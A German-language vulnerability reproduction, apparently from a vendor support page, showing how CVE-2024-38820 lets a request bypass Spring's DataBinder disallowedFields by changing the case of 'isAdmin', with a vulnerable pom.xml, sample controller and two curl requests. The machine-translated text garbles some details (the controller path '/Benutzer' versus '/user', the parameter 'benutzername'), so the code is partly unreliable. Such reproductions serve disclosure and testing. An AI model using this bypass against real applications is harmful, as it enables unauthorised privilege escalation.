Hier ist ein minimales Beispiel zur Reproduktion von CVE-2024-38820, das zeigt, wie eine falsche Groß-/Kleinschreibung in DataBinder.disallowedFields die Einstellung sensibler Felder ermöglichen kann, die eigentlich blockiert werden sollten.
Setup:Spring® Boot +Spring® Web (anfällige Version)
pom.xml – Verwendung einer anfälligenSpring®-Version (z. B. 5.3.39)
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.7.18</version> <!– Uses Spring® Framework 5.3.39 –>
</dependency>
Beispiel Code
Benutzer.java
public class User {
private String username;
private boolean isAdmin;
// Getters and setters
public String getUsername() { return username; }
public void setUsername(String username) { this.username = username; }
public boolean isAdmin() { return isAdmin; }
public void setAdmin(boolean isAdmin) { this.isAdmin = isAdmin; }
}
UserController.java
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.*;
@Controller
@RequestMapping("/Benutzer")
public class UserController {
@InitBinder
public void initBinder(WebDataBinder binder) {
binder.setDisallowedFields("isAdmin"); // Beabsichtigt, die Bindung von isAdmin zu blockieren
}
@PostMapping
@ResponseBody
public String createUser(@ModelAttribute User user) {
return "Benutzername: " + user.getUsername() + ", isAdmin: " + user.isAdmin();
}
}
Test über Curl oder Postman
✅ Erwartete sichere Anfrage
curl -X POST http://localhost:8080/user -d "benutzername=bob&isAdmin=true"
- Ergebnis (wie erwartet): isAdmin = false
→ DataBinder blockiert das Feld isAdmin.
❌ Umgehung durch Gehäusevariation
curl -X POST http://localhost:8080/user -d "benutzername=bob&IsAdmin=true"
- Ergebnis (unerwartet): isAdmin = true
→ Die Prüfung auf unzulässige Felder schlägt aufgrund einer Fehlanpassung der Groß-/Kleinschreibung fehl.
Technischer Support
Dokumentation
Anmeldung
Kontakt
